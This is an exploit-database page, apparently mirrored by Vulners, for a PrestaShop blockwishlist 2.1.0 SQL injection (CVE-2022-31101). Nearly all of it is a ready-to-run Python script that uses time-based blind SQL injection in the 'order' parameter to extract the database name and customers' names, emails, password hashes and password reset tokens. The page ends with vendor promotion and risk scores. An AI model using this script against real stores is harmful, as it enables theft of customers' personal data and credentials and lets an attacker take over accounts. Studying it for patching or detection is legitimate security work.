Lucene search
K

Prestashop blockwishlist module 2.1.0 - SQLi

🗓️ 09 Aug 2022 00:00:00Reported by Karthik UJType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 469 Views

Prestashop SQLi in blockwishlist module 2.1.

Related
Code
# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Date: 29/07/22
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101


# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop

import requests

url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
cookie = input("Enter cookie value:\n")

header = {
    "Cookie": cookie
}

# Define static stuff
param = "&order="
staticStart = "p.name, (select case when ("
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'
charset = list(charset)
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'
emailCharset = list(emailCharset)


# Query current database name length
print("\nFinding db name's length:")
for length in range(1, 65):
    condition = "LENGTH(database())=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd

    try:
        req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
        dbLength=length
        print("Length: ", length, end='')
        print("\n")
        break

print("Enumerating current database name:")
databaseName = ''
for i in range(1, dbLength+1):
    for char in charset:
        condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
        fullUrl = url + param + staticStart + condition + staticEnd

        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            print(char, end='')
            databaseName += char
            break
print()

# Enumerate any table
prefix = "ps_"
tableName = prefix + "customer"
staticStart = "p.name, (select case when ("
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
staticEnd2 = "); -- .asc"

print("\nEnumerating " + tableName + " table")

for id in range(1, 10):

    condition = "id_customer=" + str(id)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

    try:
        req = requests.get(fullUrl, headers=header, timeout=8)
        print("\nOnly " + str(id - 1) + " records found. Exiting...")
        break
    except requests.exceptions.Timeout:
        pass

    print("\nid = " + str(id))

    # Finding firstname length
    for length in range(0, 100):
        condition = "LENGTH(firstname)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            firstnameLength=length
            print("Firstname length: ", length, end='')
            print()
            break
        
    
    # Enumerate firstname
    firstname = ''
    print("Firstname: ", end='')
    for i in range(1, length+1):
        for char in charset:
            condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
            except requests.exceptions.Timeout:
                print(char, end='')
                firstname += char
                break
    print()

    # Finding lastname length
    for length in range(1, 100):
        condition = "LENGTH(lastname)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            lastnameLength=length
            print("Lastname length: ", length, end='')
            print()
            break
    
    # Enumerate lastname
    lastname = ''
    print("Lastname: ", end='')
    for i in range(1, length+1):
        for char in charset:
            condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
            except requests.exceptions.Timeout:
                print(char, end='')
                firstname += char
                break
    print()

    # Finding email length
    for length in range(1, 320):
        condition = "LENGTH(email)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            emailLength=length
            print("Email length: ", length, end='')
            print()
            break    

    # Enumerate email
    email = ''
    print("Email: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    email += char
            except requests.exceptions.Timeout:
                print(char, end='')
                email += char
                break
    print()

    # Finding password hash length
    for length in range(1, 500):
        condition = "LENGTH(passwd)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            passwordHashLength=length
            print("Password hash length: ", length, end='')
            print()
            break    

    # Enumerate password hash
    passwordHash = ''
    print("Password hash: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    passwordHash += char
            except requests.exceptions.Timeout:
                print(char, end='')
                passwordHash += char
                break
    print()

    # Finding password reset token length
    for length in range(0, 500):
        condition = "LENGTH(reset_password_token)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            passwordResetTokenLength=length
            print("Password reset token length: ", length, end='')
            print()
            break    

    # Enumerate password reset token
    passwordResetToken = ''
    print("Password reset token: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    passwordResetToken += char
            except requests.exceptions.Timeout:
                print(char, end='')
                passwordResetToken += char
                break
    print()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Aug 2022 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 26.5
CVSS 3.18.1 - 8.8
EPSS0.56987
SSVC
469